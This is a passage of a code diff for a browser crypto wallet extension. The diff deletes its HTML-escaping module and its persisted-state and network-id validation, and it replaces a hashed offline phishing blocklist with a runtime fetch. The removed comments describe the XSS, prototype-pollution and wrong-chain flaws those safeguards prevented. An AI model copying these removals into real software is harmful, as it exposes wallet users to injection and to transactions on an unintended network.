-// explorer did not report one.  Anything unparseable is unknown too: a count
-// we cannot read is not a count of zero.
-function parseHoldersCount(raw) {
-    if (raw === null || raw === undefined || raw === "") return null;
-    const n = parseInt(raw, 10);
-    return Number.isFinite(n) ? n : null;
-}
-
-// True only for a token the explorer reported as having fewer holders than
-// the threshold.  An unknown count is never low: showing a spam token the
-// user can see is unusual costs less than hiding an asset they own.
-function isLowHolderCount(holders) {
-    return holders != null && holders < LOW_HOLDER_THRESHOLD;
-}
-
-module.exports = {
-    LOW_HOLDER_THRESHOLD,
-    parseHoldersCount,
-    isLowHolderCount,
-};

src/shared/html.js

@@ -1,41 +0,0 @@
-// HTML escaping for values interpolated into an innerHTML string.
-//
-// Every view in src/popup/views/ builds markup by string concatenation, so
-// this is the only thing standing between a value the wallet did not author
-// and the extension's own DOM. The values that reach it are attacker
-// controlled by design: an ERC-20's symbol() and name() are whatever the
-// contract chooses to return, an ENS name is whatever the resolver returns,
-// and both arrive through the block explorer with no schema.
-//
-// It escapes both quote characters as well as the tag delimiters, because
-// the popup interpolates into attribute values as well as into element
-// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
-// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
-// break-out intact, and the round trip through a detached element's
-// textContent that used to implement this was exactly that escape: the
-// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
-// since a text node has no idea it is about to be pasted inside quotes.
-//
-// Deliberately a pure string function with no DOM dependency: it is called
-// on every rendered row, it is unit-testable without a document, and it
-// cannot be affected by the state of a document that an attacker-supplied
-// string has already been written into.
-
-const HTML_ESCAPES = {
-    "&": "&amp;",
-    "<": "&lt;",
-    ">": "&gt;",
-    '"': "&quot;",
-    "'": "&#39;",
-};
-
-// `&` is escaped first by virtue of being in the same pass: a sequential
-// replace would re-escape the ampersands it had just introduced.
-function escapeHtml(s) {
-    if (s === null || s === undefined) return "";
-    return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
-}
-
-module.exports = {
-    escapeHtml,
-};

src/shared/networks.js

@@ -31,42 +31,8 @@ const SUPPORTED_CHAIN_IDS = new Set(
     Object.values(NETWORKS).map((n) => n.chainId),
 );
 
-// Thrown rather than defaulted. An id this build does not know used to answer
-// with MAINNET, so a stored `{networkId:"base"}` rendered the selector as
-// Ethereum Mainnet with no banner and answered eth_chainId 0x1, while rpcUrl
-// still pointed at Base — the wallet telling the user and the page one chain
-// while transacting on another. Nothing in this codebase has an unknown id to
-// offer: stored state is validated against this table before it is loaded
-// (src/shared/stateSchema.js), and every other caller passes an id it took
-// from here. So an unknown id is a defect, and it says so, the same way
-// getProvider() (src/shared/balances.js) already refuses one.
-class UnknownNetworkError extends Error {
-    constructor(id) {
-        super(
-            "AutistMask does not know the network " +
-                JSON.stringify(id) +
-                "; it supports " +
-                Object.keys(NETWORKS).join(", "),
-        );
-        this.name = "UnknownNetworkError";
-        this.networkId = id;
-    }
-}
-
-// Own properties only: NETWORKS inherits from Object.prototype, so
-// NETWORKS["constructor"] and NETWORKS["__proto__"] both answer with something
-// truthy that is not a network. A stored id is untrusted input, and this is
-// the test the validator uses to decide whether it may be adopted at all.
-function isKnownNetworkId(id) {
-    return (
-        typeof id === "string" &&
-        Object.prototype.hasOwnProperty.call(NETWORKS, id)
-    );
-}
-
 function networkById(id) {
-    if (!isKnownNetworkId(id)) throw new UnknownNetworkError(id);
-    return NETWORKS[id];
+    return NETWORKS[id] || NETWORKS.mainnet;
 }
 
 function networkByChainId(chainId) {
@@ -85,8 +51,6 @@ function explorerLink(network, type, value) {
 module.exports = {
     NETWORKS,
     SUPPORTED_CHAIN_IDS,
-    UnknownNetworkError,
-    isKnownNetworkId,
     networkById,
     networkByChainId,
     explorerLink,

src/shared/persistedState.js

@@ -1,425 +0,0 @@
-// The shape of the persisted profile, and the normalization every read of it
-// goes through. No singleton, no storage access, no browser API: just the
-// record definition and pure functions over it.
-//
-// Split out of state.js so that a context which must never touch the
-// module-level `state` singleton can still speak the same record format.
-// src/background/state.js is that context — the MV3 service worker never
-// populates the singleton, and every defect in
-// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
-// reaching it anyway and being served DEFAULT_STATE.
-
-const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
-const { isKnownNetworkId } = require("./networks");
-const { STATE_SCHEMA_VERSION } = require("./stateSchema");
-// Dependency-free constant module. It lives under src/shared/ rather than
-// src/popup/ precisely because this module is in the background bundle: a
-// popup-path module reached from the worker is the shape the prohibition in
-// script/lib/forbiddenBundleInputs.js exists to keep out, even when the
-// particular module is harmless.
-const { RESTORABLE_VIEWS } = require("./restorableViews");
-
-const DEFAULT_STATE = {
-    hasWallet: false,
-    wallets: [],
-    trackedTokens: [],
-    networkId: "mainnet",
-    rpcUrl: DEFAULT_RPC_URL,
-    blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
-    // Endpoints remembered per network: { [networkId]: { rpcUrl,
-    // blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
-    // of the active network; this is what the others are restored from
-    // when the active network changes. See applyChainSwitchFields().
-    networkEndpoints: {},
-    lastBalanceRefresh: 0,
-    activeAddress: null,
-    allowedSites: {},
-    deniedSites: {},
-    rememberSiteChoice: true,
-    showZeroBalanceTokens: true,
-    hideSpoofedSymbols: true,
-    hideLowHolderTokens: true,
-    hideFraudContracts: true,
-    hideDustTransactions: true,
-    dustThresholdGwei: 100000,
-    utcTimestamps: false,
-    fraudContracts: [],
-    tokenHolderCache: {},
-    theme: "system",
-    debugMode: false,
-};
-
-// Every field written to and read from the single "autistmask" storage key.
-// hasWallet is deliberately excluded from the diffing/merge logic in
-// state.js — like loadState() does, it is always derived from `wallets`,
-// never carried as an independent value. schemaVersion is excluded for the
-// same reason and is absent from DEFAULT_STATE for it: it describes the
-// record rather than being part of it, and every write stamps the current
-// value rather than diffing whatever was read.
-const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
-    .filter((key) => key !== "hasWallet")
-    .concat([
-        "currentView",
-        "selectedWallet",
-        "selectedAddress",
-        "selectedToken",
-        "viewData",
-        "viewStack",
-    ]);
-
-function isRecord(value) {
-    return typeof value === "object" && value !== null && !Array.isArray(value);
-}
-
-// A list of token references, as everything downstream dereferences them:
-// `t.address.toLowerCase()`, with no guard of its own (src/shared/balances.js,
-// src/popup/views/helpers.js, and every view that shows a balance line).
-//
-// Both the container AND the entries, because they are separate defects. A
-// container check alone leaves a well-formed list of malformed entries walking
-// through to a dereference one level below the check, which is the same blank
-// popup: `[1, 2]` and `[{}]` are lists.
-//
-// A malformed entry is DROPPED rather than repaired: a token reference with no
-// address identifies nothing, so there is no value to repair it to, and the
-// alternative — refusing the whole record — sends a user whose wallets are
-// perfectly readable to an export-or-erase screen over a token list. An entry
-// that is a record with a text address is kept verbatim, extra fields and all.
-//
-// Verbatim is load-bearing for the fields BESIDE the address. A tokenBalances
-// entry carries `decimals: null` and `balance: null` when nothing knows the
-// token's scale (src/shared/balances.js,
-// https://git.eeqj.de/sneak/AutistMask/issues/349), and those nulls are the
-// record that the value is unknown. Only `address` decides whether an entry
-// survives, so an unknown-scale holding is kept — flooring a null here to some
-// default would put the guess back one layer down from where it was removed.
-function tokenRefs(value) {
-    if (!Array.isArray(value)) return [];
-    return value.filter(
-        (entry) => isRecord(entry) && typeof entry.address === "string",
-    );
-}
-
-// A list of strings, for the fields whose entries are dereferenced as text:
-// fraudContracts (`a.toLowerCase()` in src/popup/views/send.js and
-// src/shared/transactions.js) and each address's hostname list in the site maps
-// below (`h !== host` filters, `list.includes(hostname)` in the background).
-//
-// Same rule as tokenRefs(), for the same reason: the container AND the entries,
-// with a malformed entry DROPPED rather than repaired. A number in a hostname
-// list names no site and a number in fraudContracts names no contract, so there
-// is nothing to repair either to, and the empty list is a legitimate value that
-// survives. The result is a fresh array of primitives, so it shares no
-// structure with `saved`.
-function textList(value) {
-    if (!Array.isArray(value)) return [];
-    return value.filter((entry) => typeof entry === "string");
-}
-
-// allowedSites / deniedSites: { [address]: [hostname, ...] }.
-//
-// The container check these had (truthy and not an array) is not the floor:
-// `{"0xabc…": "notalist"}` IS a non-array object, and the dereference is one
-// level below it. saveState() merges these maps per key and then per hostname
-// WITHIN each key, so a stored value that is not a list reaches `base.map()` in
-// mergeListByIdentity() (src/shared/state.js) and throws — after the popup has
-// rendered, which is why every save from then on failed while the UI looked
-// healthy (https://git.eeqj.de/sneak/AutistMask/issues/362). The Settings
-// revoke button (`list.filter()`), and the background's
-// `allowed.includes(hostname)` gate, dereference it the same way; on that last
-// one a stored string would also answer a SUBSTRING match, so a corrupt map
-// could widen a site permission rather than merely throw.
-//
-// An address key whose value is not a list of hostnames is dropped entirely: it
-// grants and denies nothing, and dropping it fails closed. A stored own
-// "__proto__" key — which JSON can carry — is dropped for the same reason: it
-// can never be a wallet address, so it grants nothing either, and keeping it
-// only keeps a value that saveState()'s merge would hand to the prototype
-// setter on the next write. Keys are written with defineProperty so that no key
-// reaching this function can consult a setter at all, whatever the rule above
-// it becomes; mergeMapByKey() in src/shared/state.js writes the same way.
-function siteMap(value) {
-    const out = {};
-    if (!isRecord(value)) return out;
-    for (const address of Object.keys(value)) {
-        if (address === "__proto__") continue;
-        const hostnames = textList(value[address]);
-        if (hostnames.length === 0) continue;
-        defineOwn(out, address, hostnames);
-    }
-    return out;
-}
-
-// An endpoint URL: non-empty text, or the fallback.
-function url(value, fallback) {
-    return typeof value === "string" && value !== "" ? value : fallback;
-}
-
-// One remembered endpoint pair out of networkEndpoints, floored on the two
-// fields applyChainSwitchFields() (src/shared/chainSwitchFields.js) assigns
-// STRAIGHT ONTO s.rpcUrl / s.blockscoutUrl on the next chain switch: flooring
-// the live fields alone would leave a non-string sitting one switch away from
-// them. A field that is not text is deleted rather than replaced, so the
-// switch falls through its own `|| net.defaultRpcUrl`. Anything else the pair
-// carries is kept: a profile that has been on a build storing more per-network
-// fields must not lose them by passing through this one.
-function endpointPair(value) {
-    const pair = { ...(isRecord(value) ? value : {}) };
-    for (const field of ["rpcUrl", "blockscoutUrl"]) {
-        if (typeof pair[field] !== "string" || pair[field] === "") {
-            delete pair[field];
-        }
-    }
-    return pair;
-}
-
-// A list index into wallets / a wallet's addresses: a non-negative integer, or
-// null for "nothing selected".
-//
-// hasValidAddress() (src/popup/viewRouter.js) guards the restore path with
-// `state.wallets[state.selectedWallet] && …addresses[state.selectedAddress]`,
-// which is safe for a stale INTEGER — out of range is undefined, and the `&&`
-// short-circuits — and NOT safe for a string naming an Array.prototype member.
-// `wallets["map"]` is truthy, so the guard does not short-circuit and
-// `.addresses[…]` throws out of restoreView(): the dead popup. "length",
-// "constructor" and "__proto__" answer the same way, and
-// src/popup/views/confirmTx.js dereferences selectedWallet behind no guard at
-// all.
-function listIndex(value) {
-    return Number.isInteger(value) && value >= 0 ? value : null;
-}
-
-// Write `key` as an own data property, never through a setter. Plain
-// assignment of "__proto__" replaces the object's prototype and records no
-// entry; every map built from stored keys goes through this.
-function defineOwn(obj, key, value) {
-    Object.defineProperty(obj, key, {
-        value: value,
-        writable: true,
-        enumerable: true,
-        configurable: true,
-    });
-}
-
-// Keep only the leading run of stored views the popup is willing to render.
-//
-// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
-// behind it used to be restored verbatim, so Back could walk onto a screen
-// whose content is deliberately never re-rendered — and "show-phrase" has no
-// Back control to leave by. Truncating at the first such entry instead of
-// splicing it out keeps the result a prefix of the stored stack, so every
-// surviving entry's Back target is exactly the one it had; splicing would
-// silently re-point the entry above the hole at a different screen.
-//
-// Filtering happens here on load rather than in saveState(): the live
-// in-session stack is legitimate (the screen really is rendered while the
-// popup is open), and only a load-side filter also repairs the stacks
-// already in storage, including ones written before a view left the set.
-function restorableStack(stored, currentView) {
-    // A stored stack that is missing or not an array keeps nothing, but it
-    // still goes through the never-empty rule below rather than returning
-    // early: otherwise a corrupt stack would depend on exactly the goBack()
-    // fallback that the explicit ["main"] exists in order not to depend on.
-    const source = Array.isArray(stored) ? stored : [];
-    const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
-    const kept = cut === -1 ? source.slice() : source.slice(0, cut);
-    // A view restored below the root still needs somewhere for Back to go.
-    if (
-        kept.length === 0 &&
-        currentView !== "main" &&
-        RESTORABLE_VIEWS.has(currentView)
-    ) {
-        return ["main"];
-    }
-    return kept;
-}
-
-// Turn a raw stored (or missing) record into the full, defaulted shape
-// loadState() used to assign directly onto `state`. A pure function so that
-// saveState() can apply it too: the fields THIS page did not change still have
-// to come from storage in their loaded-and-normalized form, not as the raw
-// bytes another page (or an old release) left there — otherwise a legacy shape
-// a load has always self-healed in memory (a missing networkEndpoints map, an
-// out-of-range flag) is dropped right back into storage unfixed every time the
-// page that DID normalize it saves something unrelated, because that field's
-// value never "changed" for that page to notice.
-//
-// The result never shares structure with `saved`, so a caller may mutate it
-// freely: it is the detached record every per-call read in the background is
-// built on.
-function normalizePersisted(saved) {
-    saved = saved || {};
-    const out = {};
-    // Every write goes out at the current version. That IS the migration for
-    // the unversioned records every install in the field holds: version 1 is
-    // the shape that shipped unversioned, so a record that validated is
-    // carried forward simply by being stamped. A record this build does NOT
-    // understand never reaches here — assertStateUsable() refuses it on the
-    // read path first (src/shared/stateSchema.js).
-    out.schemaVersion = STATE_SCHEMA_VERSION;
-    out.wallets = structuredClone(saved.wallets || []);
-    // Derived, never trusted verbatim off storage — see loadState().
-    out.hasWallet = out.wallets.length > 0;
-    // Each address's token holdings, floored to a list of token records on the
-    // detached copy above. Every reader iterates it behind a `|| []` that only
-    // covers an ABSENT value, and then dereferences `t.address.toLowerCase()`
-    // and `t.balance` — so a stored string iterates as characters, a number
-    // throws on the iterator, and a null entry throws on the field.
-    //
-    // This field specifically, because refreshBalances() writes it WHOLESALE
-    // rather than merging into it: a write that only partly lands is the live
-    // cause https://git.eeqj.de/sneak/AutistMask/issues/311 names, and this is
-    // where it lands. The wallet list itself is the gate's (stateSchema.js);
-    // what is below an address record is not, and gets floored here.
-    if (Array.isArray(out.wallets)) {
-        for (const wallet of out.wallets) {
-            if (!isRecord(wallet) || !Array.isArray(wallet.addresses)) continue;
-            for (const addr of wallet.addresses) {
-                if (!isRecord(addr)) continue;
-                addr.tokenBalances = tokenRefs(addr.tokenBalances);
-            }
-        }
-    }
-    // An actual list of token records is required, not merely a truthy value
-    // and not merely a list: everything downstream iterates this and
-    // dereferences `token.address`, so a stored string or object walks through
-    // a `|| []`, and a list of numbers walks through an Array.isArray(), and
-    // both throw on the first read — the blank popup from the issue, for a
-    // profile whose wallets are perfectly fine. An empty list is a legitimate
-    // value and survives.
-    out.trackedTokens = structuredClone(tokenRefs(saved.trackedTokens));
-    // The loud refusal for an unknown id is assertStateUsable(); this is the
-    // floor under it. networkId is an object KEY into networkEndpoints below,
-    // so a value that is not a network in networks.js must never get that far
-    // — "__proto__" would set the map's prototype instead of an own key, and
-    // the user's endpoint would silently not be recorded.
-    out.networkId = isKnownNetworkId(saved.networkId)
-        ? saved.networkId
-        : DEFAULT_STATE.networkId;
-    // Non-empty text or the default, never anything else. getProvider()
-    // (src/shared/balances.js) hands rpcUrl straight to `new
-    // JsonRpcProvider()`, which throws SYNCHRONOUSLY for a value that is not a
-    // string — out of src/popup/views/txStatus.js and src/popup/views/
-    // addWallet.js, neither of which is inside a try, and the first of which a
-    // stored `currentView: "wait-tx"` reaches through restoreView(). It is a
-    // scalar, so the type check is the whole fix.
-    out.rpcUrl = url(saved.rpcUrl, DEFAULT_STATE.rpcUrl);
-    out.blockscoutUrl = url(saved.blockscoutUrl, DEFAULT_STATE.blockscoutUrl);
-    // An actual object is required, not merely a truthy non-array: the code
-    // below and applyChainSwitchFields() index and ASSIGN INTO this value, and
-    // assigning a property to a string or a number is a silent no-op in
-    // sloppy mode. Copied rather than referenced, nested pairs included, so
-    // normalizing never mutates the object a caller handed in.
-    const rawEndpoints =
-        typeof saved.networkEndpoints === "object" &&
-        saved.networkEndpoints !== null &&
-        !Array.isArray(saved.networkEndpoints)
-            ? saved.networkEndpoints
-            : {};
-    out.networkEndpoints = {};
-    for (const netId of Object.keys(rawEndpoints)) {
-        // Keys other than the known network ids are kept rather than dropped,
-        // so a profile that has been on a build with more networks does not
-        // lose their endpoints by passing through this one. That is why an own
-        // "__proto__" key survives here where siteMap() drops it, and why the
-        // write has to go through defineOwn().
-        defineOwn(
-            out.networkEndpoints,
-            netId,
-            endpointPair(rawEndpoints[netId]),
-        );
-    }
-    // A profile written before this map existed carries exactly one pair of
-    // endpoints, belonging to whatever network it was last on. Adopt it as
-    // that network's remembered pair, so a custom endpoint set on the old
-    // build is not lost by the first switch away and back.
-    if (!out.networkEndpoints[out.networkId]) {
-        out.networkEndpoints[out.networkId] = {
-            rpcUrl: out.rpcUrl,
-            blockscoutUrl: out.blockscoutUrl,
-        };
-    }
-    out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
-    // A non-empty address, or null, never anything else: this is passed to
-    // address.slice() and compared against stored addresses, so a stored
-    // number or object walks through a `|| null` and throws on the first
-    // render. The empty string is text but it is not an address, and it must
-    // become null rather than survive: init() auto-selects the first address
-    // only on a STRICT null, so a stored "" would leave the popup with no
-    // address ever selected. Nothing in src/ writes one, and this keeps the
-    // behaviour the `|| null` this check replaced already had.
-    out.activeAddress =
-        typeof saved.activeAddress === "string" && saved.activeAddress !== ""
-            ? saved.activeAddress
-            : null;
-    out.allowedSites = siteMap(saved.allowedSites);
-    out.deniedSites = siteMap(saved.deniedSites);
-    out.rememberSiteChoice =
-        saved.rememberSiteChoice !== undefined
-            ? saved.rememberSiteChoice
-            : true;
-    out.showZeroBalanceTokens =
-        saved.showZeroBalanceTokens !== undefined
-            ? saved.showZeroBalanceTokens
-            : true;
-    // A profile written before this setting existed has no key for it. It
-    // is a safety filter, so absent must load as on, not as undefined.
-    out.hideSpoofedSymbols =
-        saved.hideSpoofedSymbols !== undefined
-            ? saved.hideSpoofedSymbols
-            : true;
-    out.hideLowHolderTokens =
-        saved.hideLowHolderTokens !== undefined
-            ? saved.hideLowHolderTokens
-            : true;
-    out.hideFraudContracts =
-        saved.hideFraudContracts !== undefined
-            ? saved.hideFraudContracts
-            : true;
-    out.hideDustTransactions =
-        saved.hideDustTransactions !== undefined
-            ? saved.hideDustTransactions
-            : true;
-    out.dustThresholdGwei =
-        saved.dustThresholdGwei !== undefined
-            ? saved.dustThresholdGwei
-            : 100000;
-    out.utcTimestamps =
-        saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
-    // A list of contract addresses, floored the same way: send.js builds its
-    // fraud set as `(state.fraudContracts || []).map((a) => a.toLowerCase())`
-    // and filterTransactions() maps the same list through normalizeAddress(),
-    // so a stored string walks through the `|| []` and a stored number walks
-    // through an Array.isArray().
-    out.fraudContracts = textList(saved.fraudContracts);
-    out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
-    out.theme = saved.theme || "system";
-    out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
-    out.currentView = saved.currentView || null;
-    out.selectedWallet = listIndex(saved.selectedWallet);
-    out.selectedAddress = listIndex(saved.selectedAddress);
-    // "ETH", or a contract address, or null — never anything else. The popup
-    // restores onto "address-token" behind a truthiness check on this field and
-    // then dereferences it as text (`tokenId.toLowerCase()` in
-    // src/popup/views/addressToken.js, `state.selectedToken.toLowerCase()` in
-    // src/popup/views/receive.js), so a stored number is truthy, passes the
-    // restore gate, and throws on the screen it restores onto. Found by the
-    // sweep for this same defect class in
-    // https://git.eeqj.de/sneak/AutistMask/issues/362; floored to null, which
-    // is what the restore gate already treats as "nothing selected". The empty
-    // string was already falsy here and stays null.
-    out.selectedToken =
-        typeof saved.selectedToken === "string" && saved.selectedToken !== ""
-            ? saved.selectedToken
-            : null;
-    out.viewData = structuredClone(saved.viewData || {});
-    out.viewStack = restorableStack(saved.viewStack, out.currentView);
-    return out;
-}
-
-module.exports = {
-    DEFAULT_STATE,
-    PERSISTED_FIELDS,
-    normalizePersisted,
-    restorableStack,
-};

src/shared/phishingDomains.js

@@ -1,109 +1,92 @@
-// Domain-based phishing detection against a blocklist vendored at build time.
+// Domain-based phishing detection using a vendored blocklist with delta updates.
 //
-// The list is produced by script/vendor-blocklist from a hash-pinned upstream
-// commit, committed as phishingBlocklist.json, and bundled. There is no runtime
-// fetch: the extension asks nobody anything to answer this question, so no third
-// party learns which sites a user connects to, and no third party decides what
-// this wallet warns about. The cost is staleness — the shipped list is exactly
-// as fresh as the last vendoring run that was released — and the refresh path is
-// re-running that script and shipping the diff.
+// A community-maintained phishing domain blocklist is vendored in
+// phishingBlocklist.json and bundled at build time. At runtime, we fetch
+// the live list periodically and keep only the delta (new entries not in
+// the vendored list) in memory. This keeps runtime memory usage small.
 //
-// The artifact holds digests, not domains: sha256 truncated to 64 bits, one
-// entry per 16 hex characters, concatenated in sorted order into a single
-// string (see domainHash.js). Three things follow from that shape, and all
-// three are the reason for it:
+// The domain-checker checks the in-memory delta first (fresh/recent scam
+// sites), then falls back to the vendored list.
 //
-//   - the extension ships no plaintext list of anyone's domain names, which is
-//     what makes a blocklist assembled elsewhere shippable here at all.
-//   - a lookup is a binary search over that string. Nothing is built at module
-//     load, which matters because the MV3 service worker is torn down when idle
-//     and re-evaluates this file on every wake.
-//   - the file is 1.7 MB rather than 8.7 MB.
-//
-// Nothing here is async: callers answer an approval prompt with the result.
+// If the delta is under 256 KiB it is persisted to localStorage so it
+// survives extension/service-worker restarts.
 
-const vendored = require("./phishingBlocklist.json");
-const { HASH_ALGORITHM, HASH_HEX_CHARS, hashDomain } = require("./domainHash");
+const vendoredConfig = require("./phishingBlocklist.json");
 
-// The artifact is generated, so a shape it does not have is a build fault, not
-// a runtime condition. It is checked anyway, and loudly, because every way of
-// getting it wrong — a stale format, a truncated file, a different digest —
-// produces a blocklist that matches nothing at all while looking perfectly
-// healthy. A phishing check that silently answers "no" to everything is the one
-// failure this module must not have.
-function checkArtifact(a) {
-    const bad = (why) =>
-        new Error(
-            "phishingBlocklist.json " +
-                why +
-                ". It is generated by script/vendor-blocklist; re-run that " +
-                "rather than editing it.",
-        );
+const BLOCKLIST_URL =
+    "https://raw.githubusercontent.com/MetaMask/eth-phishing-detect/main/src/config.json";
 
-    if (!a || typeof a !== "object") throw bad("is not an object");
-    if (a.algorithm !== HASH_ALGORITHM) {
-        throw bad(
-            "declares algorithm " +
-                JSON.stringify(a.algorithm) +
-                ", but this build hashes with " +
-                HASH_ALGORITHM,
-        );
-    }
-    if (a.hashHexChars !== HASH_HEX_CHARS) {
-        throw bad(
-            "declares " +
-                JSON.stringify(a.hashHexChars) +
-                " hex characters per entry, but this build produces " +
-                HASH_HEX_CHARS,
-        );
-    }
-    if (typeof a.hashes !== "string") throw bad("has no hashes string");
-    if (!Number.isInteger(a.count) || a.count < 1) {
-        throw bad("declares no usable entry count");
-    }
-    if (a.hashes.length !== a.count * HASH_HEX_CHARS) {
-        throw bad(
-            "holds " +
-                a.hashes.length +
-                " hex characters, which is not the " +
-                a.count * HASH_HEX_CHARS +
-                " its count of " +
-                a.count +
-                " entries requires",
-        );
+const CACHE_TTL_MS = 24 * 60 * 60 * 1000; // 24 hours
+const REFRESH_INTERVAL_MS = 24 * 60 * 60 * 1000; // 24 hours
+const DELTA_STORAGE_KEY = "phishing-delta";
+const MAX_DELTA_BYTES = 256 * 1024; // 256 KiB
+
+// Vendored set — built once from the bundled JSON.
+const vendoredBlacklist = new Set(
+    (vendoredConfig.blacklist || []).map((d) => d.toLowerCase()),
+);
+
+// Delta set — only entries from live list that are NOT in vendored.
+let deltaBlacklist = new Set();
+let lastFetchTime = 0;
+let fetchPromise = null;
+let refreshTimer = null;
+
+/**
+ * Load delta entries from localStorage on startup.
+ * Called once during module initialization in the background script.
+ */
+function loadDeltaFromStorage() {
+    try {
+        const raw = localStorage.getItem(DELTA_STORAGE_KEY);
+        if (!raw) return;
+        const data = JSON.parse(raw);
+        if (data.blacklist && Array.isArray(data.blacklist)) {
+            deltaBlacklist = new Set(
+                data.blacklist.map((d) => d.toLowerCase()),
+            );
+        }
+    } catch {
+        // localStorage unavailable or corrupt — start empty
     }
 }
 
-checkArtifact(vendored);
-
-const HASHES = vendored.hashes;
-const COUNT = vendored.count;
+/**
+ * Persist delta to localStorage if it fits within MAX_DELTA_BYTES.
+ */
+function saveDeltaToStorage() {
+    try {
+        const data = {
+            blacklist: Array.from(deltaBlacklist),
+        };
+        const json = JSON.stringify(data);
+        if (json.length < MAX_DELTA_BYTES) {
+            localStorage.setItem(DELTA_STORAGE_KEY, json);
+        } else {
+            // Too large — remove stale key if present
+            localStorage.removeItem(DELTA_STORAGE_KEY);
+        }
+    } catch {
+        // localStorage unavailable — skip silently
+    }
+}
 
 /**
- * Is this digest one of the vendored entries?
+ * Load a pre-parsed config and compute the delta against the vendored list.
+ * Used for both live fetches and testing.
  *
- * Binary search over fixed-width records. The digests are lowercase hex of one
- * width, so lexicographic order is numeric order and the artifact is written
- * sorted; tests assert that ordering against the committed file, because an
- * unsorted artifact would fail lookups silently rather than loudly.
- *
- * @param {string} hash
- * @returns {boolean}
+ * @param {{ blacklist?: string[] }} config
  */
-function hashListed(hash) {
-    let lo = 0;
-    let hi = COUNT - 1;
-    while (lo <= hi) {
-        const mid = (lo + hi) >> 1;
-        const at = HASHES.slice(
-            mid * HASH_HEX_CHARS,
-            (mid + 1) * HASH_HEX_CHARS,
-        );
-        if (at === hash) return true;
-        if (at < hash) lo = mid + 1;
-        else hi = mid - 1;
-    }
-    return false;
+function loadConfig(config) {
+    const liveBlacklist = (config.blacklist || []).map((d) => d.toLowerCase());
+
+    // Delta = entries in the live list that are NOT in the vendored list
+    deltaBlacklist = new Set(
+        liveBlacklist.filter((d) => !vendoredBlacklist.has(d)),
+    );
+
+    lastFetchTime = Date.now();
+    saveDeltaToStorage();
 }
 
 /**
@@ -126,33 +109,107 @@ function hostnameVariants(hostname) {
 
 /**
  * Check if a hostname is on the phishing blocklist.
+ * Checks delta first (fresh/recent scam sites), then vendored list.
  *
  * @param {string} hostname - The hostname to check.
  * @returns {boolean}
  */
 function isPhishingDomain(hostname) {
     if (!hostname) return false;
-    for (const variant of hostnameVariants(hostname)) {
-        if (hashListed(hashDomain(variant))) return true;
+    const variants = hostnameVariants(hostname);
+
+    // Check delta blacklist first (fresh/recent scam sites), then vendored
+    for (const v of variants) {
+        if (deltaBlacklist.has(v) || vendoredBlacklist.has(v)) return true;
     }
     return false;
 }
 
 /**
- * Return the blocklist size for diagnostics.
+ * Fetch the latest blocklist and compute delta against vendored data.
+ * De-duplicates concurrent fetches. Results are cached for CACHE_TTL_MS.
+ *
+ * @returns {Promise<void>}
+ */
+async function updatePhishingList() {
+    // Skip if recently fetched
+    if (Date.now() - lastFetchTime < CACHE_TTL_MS && lastFetchTime > 0) {
+        return;
+    }
+
+    // De-duplicate concurrent calls
+    if (fetchPromise) return fetchPromise;
+
+    fetchPromise = (async () => {
+        try {
+            const resp = await fetch(BLOCKLIST_URL);
+            if (!resp.ok) throw new Error("HTTP " + resp.status);
+            const config = await resp.json();
+            loadConfig(config);
+        } catch {
+            // Silently fail — vendored list still provides coverage.
+            // We'll retry next time.
+        } finally {
+            fetchPromise = null;
+        }
+    })();
+
+    return fetchPromise;
+}
+
+/**
+ * Start periodic refresh of the phishing list.
+ * Should be called once from the background script on startup.
+ */
+function startPeriodicRefresh() {
+    if (refreshTimer) return;
+    refreshTimer = setInterval(updatePhishingList, REFRESH_INTERVAL_MS);
+}
+
+/**
+ * Return the total blocklist size (vendored + delta) for diagnostics.
  *
  * @returns {number}
  */
 function getBlocklistSize() {
-    return COUNT;
+    return vendoredBlacklist.size + deltaBlacklist.size;
 }
 
+/**
+ * Return the delta blocklist size for diagnostics.
+ *
+ * @returns {number}
+ */
+function getDeltaSize() {
+    return deltaBlacklist.size;
+}
+
+/**
+ * Reset internal state (for testing).
+ */
+function _reset() {
+    deltaBlacklist = new Set();
+    lastFetchTime = 0;
+    fetchPromise = null;
+    if (refreshTimer) {
+        clearInterval(refreshTimer);
+        refreshTimer = null;
+    }
+}
+
+// Load persisted delta on module initialization
+loadDeltaFromStorage();
+
 module.exports = {
     isPhishingDomain,
+    updatePhishingList,
+    startPeriodicRefresh,
+    loadConfig,
     getBlocklistSize,
+    getDeltaSize,
     hostnameVariants,
-    // Exposed for testing only: the ends of the search range are where an
-    // off-by-one hides, and reaching them through isPhishingDomain() would mean
-    // knowing which domain hashes to the first or last entry.
-    _hashListed: hashListed,
+    _reset,
+    // Exposed for testing only
+    _getVendoredBlacklistSize: () => vendoredBlacklist.size,
+    _getDeltaBlacklist: () => deltaBlacklist,
 };

src/shared/prices.js

@@ -21,7 +21,7 @@ async function refreshPrices() {
         const fetched = await getTopTokenPrices(25);
         Object.assign(prices, fetched);
         lastFetchedAt = now;
-    } catch {
+    } catch (e) {
         // prices stay stale on error
     }
 }
@@ -55,86 +55,42 @@ function formatUsd(amount) {
     );
 }
 
-// What an address is worth, as { usd, partial }.
-//
-// Prices are fetched for the top 25 tokens only, so an address can hold real
-// assets this code has no price for. Adding up the priced ones and calling the
-// result the total states a number the holdings do not support: an address
-// holding nothing but unpriced tokens comes out at $0.00, which tells the user
-// their address is worth nothing when it may hold a great deal. Worth zero and
-// worth an unknown amount are separate facts and get separate fields, the same
-// way an absent holders_count is not a count of zero.
-//
-//   usd:     the value of the holdings a price is known for, or null when
-//            nothing is knowable at all — testnet, or before the first fetch.
-//   partial: the address also holds a token with no price, so usd is a floor
-//            and not the total.
-//
-// Render it through formatAddressTotal() rather than reading usd alone.
-function getAddressValue(addr) {
+function getAddressValueUsd(addr) {
